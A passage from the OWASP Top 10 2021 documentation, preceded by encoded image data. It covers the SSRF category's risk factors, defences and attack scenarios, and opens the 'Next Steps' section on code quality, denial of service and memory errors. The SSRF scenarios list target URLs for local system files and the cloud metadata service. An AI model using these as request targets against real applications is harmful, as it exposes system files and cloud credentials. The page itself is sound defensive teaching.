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){: style="height:80px;width:80px" align="right"}
## Factors
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 1 | 2.72% | 2.72% | 8.28 | 6.72 | 67.72% | 67.72% | 9,503 | 385 |
## Overview
This category is added from the Top 10 community survey (#1). The data shows a
relatively low incidence rate with above average testing coverage and
above-average Exploit and Impact potential ratings. As new entries are
likely to be a single or small cluster of Common Weakness Enumerations (CWEs)
for attention and
awareness, the hope is that they are subject to focus and can be rolled
into a larger category in a future edition.
## Description
SSRF flaws occur whenever a web application is fetching a remote
resource without validating the user-supplied URL. It allows an attacker
to coerce the application to send a crafted request to an unexpected
destination, even when protected by a firewall, VPN, or another type of
network access control list (ACL).
As modern web applications provide end-users with convenient features,
fetching a URL becomes a common scenario. As a result, the incidence of
SSRF is increasing. Also, the severity of SSRF is becoming higher due to
cloud services and the complexity of architectures.
## How to Prevent
Developers can prevent SSRF by implementing some or all the following
defense in depth controls:
### **From Network layer**
- Segment remote resource access functionality in separate networks to
reduce the impact of SSRF
- Enforce “deny by default” firewall policies or network access
control rules to block all but essential intranet traffic.<br/>
*Hints:*<br>
~ Establish an ownership and a lifecycle for firewall rules based on applications.<br/>
~ Log all accepted *and* blocked network flows on firewalls
(see [A09:2021-Security Logging and Monitoring Failures](A09_2021-Security_Logging_and_Monitoring_Failures.md)).
### **From Application layer:**
- Sanitize and validate all client-supplied input data
- Enforce the URL schema, port, and destination with a positive allow
list
- Do not send raw responses to clients
- Disable HTTP redirections
- Be aware of the URL consistency to avoid attacks such as DNS
rebinding and “time of check, time of use” (TOCTOU) race conditions
Do not mitigate SSRF via the use of a deny list or regular expression.
Attackers have payload lists, tools, and skills to bypass deny lists.
### **Additional Measures to consider:**
- Don't deploy other security relevant services on front systems (e.g. OpenID).
Control local traffic on these systems (e.g. localhost)
- For frontends with dedicated and manageable user groups use network encryption (e.g. VPNs)
on independent systems to consider very high protection needs
## Example Attack Scenarios
Attackers can use SSRF to attack systems protected behind web
application firewalls, firewalls, or network ACLs, using scenarios such
as:
**Scenario #1:** Port scan internal servers – If the network architecture
is unsegmented, attackers can map out internal networks and determine if
ports are open or closed on internal servers from connection results or
elapsed time to connect or reject SSRF payload connections.
**Scenario #2:** Sensitive data exposure – Attackers can access local
files or internal services to gain sensitive information such
as `file:///etc/passwd` and `http://localhost:28017/`.
**Scenario #3:** Access metadata storage of cloud services – Most cloud
providers have metadata storage such as `http://169.254.169.254/`. An
attacker can read the metadata to gain sensitive information.
**Scenario #4:** Compromise internal services – The attacker can abuse
internal services to conduct further attacks such as Remote Code
Execution (RCE) or Denial of Service (DoS).
## References
- [OWASP - Server-Side Request Forgery Prevention Cheat
Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)
- [PortSwigger - Server-side request forgery
(SSRF)](https://portswigger.net/web-security/ssrf)
- [Acunetix - What is Server-Side Request Forgery
(SSRF)?](https://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability/)
- [SSRF
bible](https://cheatsheetseries.owasp.org/assets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet_SSRF_Bible.pdf)
- [A New Era of SSRF - Exploiting URL Parser in Trending Programming
Languages!](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)
## List of Mapped CWEs
[CWE-918 Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)
|
A11_2021-Next_Steps.md | ./Top10/2021/docs/A11_2021-Next_Steps.md | # A11:2021 – Next Steps
By design, the OWASP Top 10 is innately limited to the ten most
significant risks. Every OWASP Top 10 has “on the cusp” risks considered
at length for inclusion, but in the end, they didn’t make it. No matter
how we tried to interpret or twist the data, the other risks were more
prevalent and impactful.
Organizations working towards a mature appsec program or security
consultancies or tool vendors wishing to expand coverage for their
offerings, the following four issues are well worth the effort to
identify and remediate.
## Code Quality issues
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 38 | 49.46% | 2.22% | 7.1 | 6.7 | 60.85% | 23.42% | 101736 | 7564 |
- **Description.** Code quality issues include known security defects
or patterns, reusing variables for multiple purposes, exposure of
sensitive information in debugging output, off-by-one errors, time
of check/time of use (TOCTOU) race conditions, unsigned or signed
conversion errors, use after free, and more. The hallmark of this
section is that they can usually be identified with stringent
compiler flags, static code analysis tools, and linter IDE plugins.
Modern languages by design eliminated many of these issues, such as
Rust’s memory ownership and borrowing concept, Rust’s threading
design, and Go’s strict typing and bounds checking.
- **How to prevent**. Enable and use your editor and language’s static
code analysis options. Consider using a static code analysis tool.
Consider if it might be possible to use or migrate to a language or
framework that eliminates bug classes, such as Rust or Go.
- **Example attack scenarios**. An attacker might obtain or update
sensitive information by exploiting a race condition using a
statically shared variable across multiple threads.
- **References**
- [OWASP Code Review Guide](https://owasp.org/www-pdf-archive/OWASP_Code_Review_Guide_v2.pdf)
- [Google Code Review Guide](https://google.github.io/eng-practices/review/)
## Denial of Service
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 8 | 17.54% | 4.89% | 8.3 | 5.9 | 79.58% | 33.26% | 66985 | 973 |
- **Description**. Denial of service is always possible given
sufficient resources. However, design and coding practices have a
significant bearing on the magnitude of the denial of service.
Suppose anyone with the link can access a large file, or a
computationally expensive transaction occurs on every page. In that
case, denial of service requires less effort to conduct.
- **How to prevent**. Performance test code for CPU, I/O, and memory
usage, re-architect, optimize, or cache expensive operations.
Consider access controls for larger objects to ensure that only
authorized individuals can access huge files or objects or serve
them by an edge caching network.
- **Example attack scenarios**. An attacker might determine that an
operation takes 5-10 seconds to complete. When running four
concurrent threads, the server seems to stop responding. The
attacker uses 1000 threads and takes the entire system offline.
- **References**
- [OWASP Cheat Sheet: Denial of Service](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html)
- [OWASP Attacks: Denial of Service](https://owasp.org/www-community/attacks/Denial_of_Service)
## Memory Management Errors
| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |
|:-------------:|:--------------------:|:--------------------:|:--------------:|:--------------:|:----------------------:|:---------------------:|:-------------------:|:------------:|
| 14 | 7.03% | 1.16% | 6.7 | 8.1 | 56.06% | 31.74% | 26576 | 16184 |
- **Description**. Web applications tend to be written in managed
memory languages, such as Java, .NET, or node.js (JavaScript or
TypeScript). However, these languages are written in systems
languages that have memory management issues, such as buffer or heap
overflows, use after free, integer overflows, and more. There have
been many sandbox escapes over the years that prove that just
because the web application language is nominally memory “safe,” the
foundations are not.
- **How to prevent**. Many modern APIs are now written in memory-safe
languages such as Rust or Go. In the case of Rust, memory safety is
a crucial feature of the language. For existing code, the use of
strict compiler flags, strong typing, static code analysis, and fuzz
testing can be beneficial in identifying memory leaks, memory, and
array overruns, and more.
- **Example attack scenarios**. Buffer and heap overflows have been a
mainstay of attackers over the years. The attacker sends data to a program, which it stores in an undersized stack buffer. The result is that information on the call stack is overwritten, including the function’s return pointer. The data sets the value of the return pointer so that when the function returns, it transfers control to malicious code contained in the attacker’s data.
- **References**
